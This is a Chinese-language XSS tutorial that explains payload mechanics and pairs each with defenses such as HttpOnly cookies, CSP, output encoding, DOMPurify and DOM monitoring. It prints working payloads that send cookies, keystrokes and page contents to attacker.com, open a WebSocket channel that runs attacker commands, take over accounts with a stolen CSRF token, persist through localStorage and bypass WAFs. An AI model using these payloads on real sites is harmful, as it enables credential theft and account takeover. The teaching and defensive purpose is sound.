一、XSS Payload 核心原理
本质概念
XSS Payload 是攻击者在网站中注入并执行的恶意脚本代码。其核心原理是利用网站对用户输入处理不当的漏洞,使得攻击者的代码能被受害者的浏览器执行。
攻击过程三要素
- 注入点:存在XSS漏洞的用户输入区域
- 传播途径:存储型(数据库)/反射型(URL)/DOM型(客户端)
- 执行环境:受害者浏览器(拥有网站会话权限)
二、XSS Payload 实现原理详解
1. 基础信息窃取Payload
代码分析:Cookie窃取器
<script>
// 创建Image对象隐藏请求
var img = new Image();
// 将Cookie发送到攻击者服务器
img.src = 'http://attacker.com/steal?cookie=' +
encodeURIComponent(document.cookie);
// 避免引起注意
img.style.display = 'none';
document.body.appendChild(img);
</script>
攻击实现原理:
- 当用户访问包含此脚本的页面时
- 浏览器自动加载图片,实际上是向
attacker.com
发送请求 document.cookie
作为参数附加在URL中- 攻击者从服务器日志中获取用户Cookie
防御对策:
# HTTP响应头设置
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict
HttpOnly
:阻止JavaScript访问CookieSecure
:仅通过HTTPS传输SameSite
:限制跨站发送Cookie
2. 会话劫持Payload
代码分析:实时会话劫持
// 创建WebSocket连接到攻击者服务器
var ws = new WebSocket('wss://attacker.com/socket');
// 定时发送当前页面内容
setInterval(function() {
var html = document.documentElement.innerHTML;
ws.send(JSON.stringify({
url: location.href,
cookies: document.cookie,
html: btoa(html) // Base64编码
}));
}, 3000); // 每3秒发送一次
// 接收攻击者指令并执行
ws.onmessage = function(event) {
eval(event.data);
};
攻击实现原理:
- 创建持久化的双向通信通道
- 定期泄露当前页面状态
- 接收攻击者命令实时执行
- 实现完全远程控制用户会话
防御对策:
# 内容安全策略禁止WebSocket
Content-Security-Policy:
default-src 'self';
connect-src 'self' https://trusted-api.example.com;
3. 键盘记录Payload
代码分析:全键盘记录器
// 记录按键数据
var keyLog = '';
// 捕获所有键盘事件
document.addEventListener('keydown', function(e) {
var key = e.key;
// 特殊键处理
if (key === 'Enter') key = '[ENTER]';
if (key === 'Tab') key = '[TAB]';
if (key === ' ') key = '[SPACE]';
keyLog += key;
// 每20个字符发送一次
if (keyLog.length >= 20) {
sendKeys(keyLog);
keyLog = '';
}
});
// 使用Beacon API发送数据
function sendKeys(data) {
navigator.sendBeacon(
'https://attacker.com/log',
new Blob([data], {type: 'text/plain'})
);
}
攻击实现原理:
- 监控所有键盘输入事件
- 格式化特殊按键标识
- 使用navigator.sendBeacon发送数据(即使页面关闭也会执行)
- 获取账号密码等敏感信息
防御对策:
// 输入过滤正则表达式
function sanitizeInput($input) {
// 仅允许字母数字和基本标点
$clean = preg_replace('/[^a-zA-Z0-9\s\.,!?\p{Han}]/u', '', $input);
return htmlspecialchars($clean, ENT_QUOTES, 'UTF-8');
}
4. 组合CSRF攻击Payload
代码分析:账户劫持攻击
// 检测用户是否在安全页面
if (location.pathname === '/account/settings') {
// 获取当前CSRF Token
var csrfToken = document.querySelector('[name=csrf_token]').value;
// 构造攻击表单
var form = document.createElement('form');
form.method = 'POST';
form.action = '/account/change_email';
// 添加新邮箱参数(攻击者控制)
var emailInput = document.createElement('input');
emailInput.type = 'hidden';
emailInput.name = 'email';
emailInput.value = 'attacker@example.com';
form.appendChild(emailInput);
// 添加CSRF Token
var csrfInput = document.createElement('input');
csrfInput.type = 'hidden';
csrfInput.name = 'csrf_token';
csrfInput.value = csrfToken;
form.appendChild(csrfInput);
// 自动提交表单
document.body.appendChild(form);
form.submit();
}
攻击实现原理:
- 检测用户处于关键页面(如账户设置)
- 窃取页面中的CSRF Token
- 动态构造表单修改账户信息
- 自动提交表单接管账户
防御对策:
// 反CSRF令牌验证
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if ($_SESSION['csrf_token'] !== $_POST['csrf_token']) {
header('HTTP/1.1 403 Forbidden');
exit('Invalid CSRF Token');
}
}
// 生成新CSRF令牌
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
三、高级XSS Payload技术
1. 隐蔽通信技术
// 使用WebRTC泄露内部IP
const rtc = new RTCPeerConnection();
rtc.createDataChannel('');
rtc.createOffer()
.then(offer => rtc.setLocalDescription(offer))
.then(() => {
const lines = rtc.localDescription.sdp.split('\n');
const ip = lines.find(l => l.startsWith('a=candidate'))
.split(' ')[4];
// 使用DNS隧道泄露信息
new Image().src = 'http://' + ip + '.attacker.com';
});
2. 持久化Payload
// 将Payload保存到localStorage
localStorage.setItem('xss_payload', 'window.xss = ' + function() {
// 恶意代码
}.toString());
// 在所有页面激活
if (!window.xssLoaded) {
eval(localStorage.getItem('xss_payload'));
window.xssLoaded = true;
// 在页面卸载时重新激活
window.addEventListener('beforeunload', function() {
localStorage.setItem('xss_activated', 'true');
});
}
// 新页面加载时检测激活
if (localStorage.getItem('xss_activated') === 'true') {
eval(localStorage.getItem('xss_payload'));
localStorage.removeItem('xss_activated');
}
3. 绕过WAF技术
// 字符串分片绕过
function reverse(s) {
return s.split('').reverse().join('');
}
// 拼接待执行函数 (aler t)
var func = reverse('trela');
func = func[0] + func.substr(2,1) + func.substr(1,1) + func.substr(3);
// 使用window对象调用
window[func](1); // 实际执行alert(1)
// 使用代理绕过黑名单
var proxy = {
get: function(obj, prop) {
return obj[prop];
}
};
var safe = new Proxy(window, proxy);
safe[func].call(null, 2);
四、XSS防御深度策略
1. 多层防御体系
2. 详细防御实施
输入验证层
function validateInput($input) {
// 1. 检查输入长度
if (strlen($input) > 1000) return false;
// 2. 白名单字符集
if (!preg_match('/^[\w\s\p{Han}.,!?@:;\'\"()]+$/u', $input)) {
return false;
}
// 3. 特定关键词过滤
$blacklist = ['javascript:', 'data:', 'onload', 'onerror'];
foreach ($blacklist as $keyword) {
if (stripos($input, $keyword) !== false) return false;
}
return true;
}
输出编码层
function encodeForContext($input, $context) {
switch ($context) {
case 'html':
return htmlspecialchars($input, ENT_QUOTES | ENT_HTML5, 'UTF-8');
case 'attribute':
return htmlspecialchars($input, ENT_QUOTES);
case 'js':
return json_encode($input);
case 'css':
return preg_replace('/[^a-z0-9]/i', '', $input);
case 'url':
return urlencode($input);
default:
return htmlspecialchars($input, ENT_QUOTES);
}
}
内容安全策略(CSP)
http内容
Content-Security-Policy:
default-src 'none';
script-src 'self' 'nonce-EDNnf03nceIOfn39fn3e9h3sdfa'
https://trusted.cdn.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data:;
connect-src 'self';
frame-ancestors 'none';
form-action 'self';
base-uri 'self';
3. 现代框架防护
React自动防护
jsx代码如下
function SafeUserContent({ html }) {
// 使用DOMPurify进行清理
const clean = DOMPurify.sanitize(html, {
FORBID_TAGS: ['style', 'script', 'iframe'],
FORBID_ATTR: ['onload', 'onerror'],
RETURN_DOM: true
});
// 安全渲染
return <div ref={container => {
if (container) container.replaceChildren(clean);
}} />;
}
Vue安全封装
<script setup>
import { ref, watch } from 'vue';
import DOMPurify from 'dompurify';
const props = defineProps(['rawHtml']);
const cleanHtml = ref('');
watch(() => props.rawHtml, (newVal) => {
cleanHtml.value = DOMPurify.sanitize(newVal, {
USE_PROFILES: { html: true },
SAFE_FOR_TEMPLATES: true
});
});
</script>
<template>
<div v-html="cleanHtml"></div>
</template>
4. 运行时防御
突变观察器检测DOM修改
// 监控可疑DOM变化
const observer = new MutationObserver(mutations => {
mutations.forEach(mutation => {
if (mutation.addedNodes) {
mutation.addedNodes.forEach(node => {
// 检测是否添加了script标签
if (node.nodeName === 'SCRIPT') {
console.warn('Suspicious script added:', node);
node.remove(); // 移除可疑脚本
// 报告到服务器
navigator.sendBeacon('/security/log',
`Blocked suspicious script: ${node.outerHTML}`);
}
});
}
});
});
// 监控整个文档
observer.observe(document.documentElement, {
childList: true,
subtree: true,
attributes: false,
characterData: false
});
五、实战:检测与防护验证
XSS测试Payload集
// 基本检测
<plaintext>
<script>alert(1)</script>
<img src=x onerror=alert(1)>
" onclick="alert(1)
// 高级绕过
<svg/onload=alert(1)>
<x onclick=alert(1)>click
<details ontoggle=alert(1)>
// 特殊场景
<style>@import 'http://evil.com';</style>
<math><brute href="javascript:alert(1)">CLICK
// DOM检测
<iframe onload="const div=document.createElement('div');div.innerHTML='<img src=x onerror=alert(1)>';this.contentDocument.body.appendChild(div)">
自动检测脚本
// 简单XSS检测器
function scanForXSS() {
// 检测可疑属性
document.querySelectorAll('*').forEach(el => {
Array.from(el.attributes).forEach(attr => {
if (/^on\w+/.test(attr.name)) {
console.warn('Suspicious event handler:', el, attr);
}
});
});
// 检测可疑URL协议
['src', 'href', 'data'].forEach(attr => {
document.querySelectorAll(`[${attr}]`).forEach(el => {
const value = el.getAttribute(attr);
if (/^(javascript|data|vbscript):/i.test(value)) {
console.warn('Suspicious URL protocol:', el, value);
}
});
});
}
// 页面加载完成后执行
window.addEventListener('load', scanForXSS);
总结:XSS安全生命周期
- 预防:输入验证 + 输出编码 + CSP策略
- 检测:自动化扫描 + 人工审查
- 响应:及时修复漏洞 + 安全通告
- 恢复:清除恶意代码 + 撤销泄露凭证
- 改进:根因分析 + 流程优化
终极防线:
- 所有用户输入皆不可信
- 所有输出必须按上下文编码
- 实施最严格的内容安全策略
- 保持框架和安全库更新
- 定期进行安全审计和渗透测试